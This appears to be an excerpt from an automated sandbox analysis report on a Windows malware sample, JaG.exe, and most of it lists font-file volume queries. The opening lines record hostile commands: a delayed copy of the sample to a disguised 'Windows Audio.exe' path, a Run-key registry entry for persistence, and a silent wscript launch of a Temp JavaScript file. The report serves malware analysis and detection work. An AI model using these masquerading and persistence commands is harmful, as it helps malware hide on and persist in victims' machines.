Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c ping 127.0.0.1 -n 72 > nul && copy "C:\Users\user\AppData\Local\Temp\JaG.exe" "C:\Users\user\Audio\Windows Audio.exe" && ping 127.0.0.1 -n 72 > nul && "C:\Users\user\Audio\Windows Audio.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 65
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 72

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\JaG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
